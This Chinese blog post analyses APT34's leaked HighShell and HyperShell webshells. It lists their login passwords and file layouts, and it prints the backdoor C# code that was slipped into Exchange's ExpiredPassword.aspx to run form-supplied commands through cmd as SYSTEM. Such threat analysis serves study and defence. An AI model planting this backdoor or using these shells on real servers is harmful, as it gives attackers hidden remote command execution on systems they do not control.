对 APT34 泄露工具的分析——HighShell 和 HyperShell

发布于 2024-09-15 08:16:37 字数 6323 浏览 8 评论 0

0x00 前言

最近 APT34 的 6 款工具被泄露,本文作为分析文章的第二篇,仅在技术角度对其中的 HighShell 和 HyperShell 进行分析

参考资料:https://malware-research.org/apt34-hacking-tools-leak/amp/

0x01 简介

本文将要介绍以下内容:

  • 对 HighShell 的分析
  • 对 HyperShell 的分析
  • 小结

0x02 对 HighShell 的分析

对应泄露文件的名称为 Webshells_and_Panel 中的 HighShell

其中的文件为 HighShell.aspx,是针对 Windows 服务器的 webshell

默认访问页面如下图

Alt text

Login 框为红色,需要输入连接口令

正确的口令为 Th!sN0tF0rFAN

输入正确的口令后,点击 Do it,刷新页面,成功登录,如下图

Alt text

Login 框变为绿色

该工具的公开线索:https://unit42.paloaltonetworks.com/unit42-twoface-webshell-persistent-access-point-lateral-movement/

HighShell 同 paloaltonetworks 在文中提到的 TwoFace 的页面相同

0x03 对 HyperShell 的分析

对应泄露文件的名称为 Webshells_and_Panel 中的 HyperShell

下面包含 7 个文件夹:

  1. ExpiredPasswordTech
  2. HyperShell
  3. Image
  4. Libraries
  5. packages
  6. ShellLocal
  7. StableVersion

1.ExpiredPasswordTech

包括 3 个文件:

  • error4.aspx,功能与 HighShell.aspx 相同,但登录口令未知
  • ExpiredPassword.aspx,适用于 Exchange 的 webshell
  • MyMaster.aspx,生成字符串: NxKK<TjWN^lv-$*UZ|Z-H;cGL(O>7a

2.HyperShell

包含多个文件,是各个 webshell 的源码文件

其中包含另一个可用的 webshell,相对路径: .\Webshells_and_Panel\HyperShell\HyperShell\Shell\simple.aspx

连接口令: MkRg5dm8MOk

如下图

Alt text

3.Image

图片文件夹

4.Libraries

包含多个依赖文件

5.packages

包含多个依赖文件

6. ShellLocal

空文件夹

7. StableVersion

稳定版本,包含多个 webshell

(1)ExpiredPassword.aspx

适用于 Exchange 的 webshell

相对路径: .\Webshells_and_Panel\HyperShell\StableVersion\HighShell v5.0\HyperShell\HyperShell\ExpiredPasswordTech

与相对路径 .\Webshells_and_Panel\HyperShell\ExpiredPasswordTech 下的文件内容相同

ExpiredPassword.aspx 是 Exchange 正常的功能,对应重置用户口令的页面,如下图

Alt text

访问的 URL: https://<domain>/owa/auth/ExpiredPassword.aspx

对应 Windows 绝对路径: C:\Program Files\Microsoft\Exchange Server\V15\FrontEnd\HttpProxy\owa\auth\ExpiredPassword.aspx

该路径下的 webshell 默认权限为 System

我的测试系统安装了 Exchange2013,正常的 ExpiredPassword.aspx 源码我已经上传至 github:

..//test/master/ExpiredPassword.aspx(2013)

HyperShell 中的 ExpiredPassword.aspx 是一个添加了后门代码的文件,同我测试环境的正常 ExpiredPassword.aspx 文件相比有多处不同,如下图

Alt text

经过分析发现有可能是 Exchange 版本差异导致的,忽略版本差异,HyperShell 中的 ExpiredPassword.aspx 主要添加了如下代码:

              <%
                    try{
                    if (Convert.ToBase64String(new System.Security.Cryptography.SHA1Managed().ComputeHash(Encoding.ASCII.GetBytes(Encoding.ASCII.GetString(Convert.FromBase64String(Request.Form["newPwd1"])) + "reDGEa@#!%FS"))) == "+S6Kos9D/etq1cd///fgTarVnUQ=")
                    {
                        System.Diagnostics.Process p = new System.Diagnostics.Process();
                        System.Diagnostics.ProcessStartInfo i = p.StartInfo;
                        i.FileName = "cmd";
                        i.Arguments = "/c " + Encoding.UTF8.GetString(Convert.FromBase64String(Request.Form["newPwd2"]));
                        i.UseShellExecute = false;
                        i.CreateNoWindow = true;
                        i.RedirectStandardOutput = true;
                        p.Start();
                        string r = p.StandardOutput.ReadToEnd();
                        p.WaitForExit();
                        p.Close();
                        Response.Write("<pre>" + Server.HtmlEncode(r) + "</pre>");
                        Response.End();
                    }}catch{}
                %>

对应到我的测试环境,也就是 Exchange2013,添加 payload 后并去掉验证环节的代码已上传至 github:

..//test/master/ExpiredPassword.aspx(2013)(HyperShell)

Confirm new password 项为传入要执行的命令,权限为 System

(2)HighShellLocal

功能强大的 webshell

相对路径: .\Webshells_and_Panel\Webshells_and_Panel\HyperShell\StableVersion\HighShell v5.0\HyperShell\HyperShell\ShellLocal\StableVersions\ShellLocal-v8.8.5.rar

解压到当前目录,相对路径为 .\ShellLocal-v8.8.5\ShellLocal-v8.8.5\HighShellLocal ,包括以下文件:

  • 文件夹 css
  • 文件夹 files
  • 文件夹 js
  • HighShellLocal.aspx

实际使用时,还需要 .\ShellLocal-v8.8.5\ShellLocal-v8.8.5\ 下的 bin 文件夹,否则提示无法使用 Json

完整结构如下:

│   HighShellLocal.aspx
│
├───bin
│       Newtonsoft.Json.dll
│
├───css
│   │   main.css
│   │
│   └───img
│           box-zipper.png
│           download-cloud.png
│           exclamation-diamond.png
│           heart-break.png
│           heart-empty.png
│           heart.png
│           minus-button.png
│
├───files
│       7za.exe
│       nbt.exe
│       rx.exe
│
└───js
    │   explorer.js
    │   main.js
    │   send.js
    │   utility.js
    │
    ├───components
    │      
    ├───jquery
    │       
    └───semantic

登录口令: Th!sN0tF0rFAN

登录页面如下图

Alt text

输入正确的登录口令后,如下图

Alt text

可以看到该 webshell 支持多个功能

0x04 小结

本文对泄露文件中的 HighShell 和 HyperShell 进行了分析,其中 HyperShell 中的 ExpiredPassword.aspx 是一个比较隐蔽的 webshell,目前为止我还未在公开资料中找到这种利用方法。

如果你对这篇内容有疑问,欢迎到本站社区发帖提问 参与讨论,获取更多帮助,或者扫码二维码加入 Web 技术交流群。

扫码二维码加入Web技术交流群

发布评论

需要 登录 才能够评论, 你可以免费 注册 一个本站的账号。
列表为空,暂无数据

关于作者

0 文章
0 评论
24 人气
更多

推荐作者

回眸一遍

文章 0 评论 0

一心憧憬

文章 0 评论 0

沙与沫

文章 0 评论 0

mb_L9V1seZC

文章 0 评论 0

angellghost

文章 0 评论 0

旧梦荧光笔

文章 0 评论 0

    我们使用 Cookies 和其他技术来定制您的体验包括您的登录状态等。通过阅读我们的 隐私政策 了解更多相关信息。 单击 接受 或继续使用网站,即表示您同意使用 Cookies 和您的相关数据。
    原文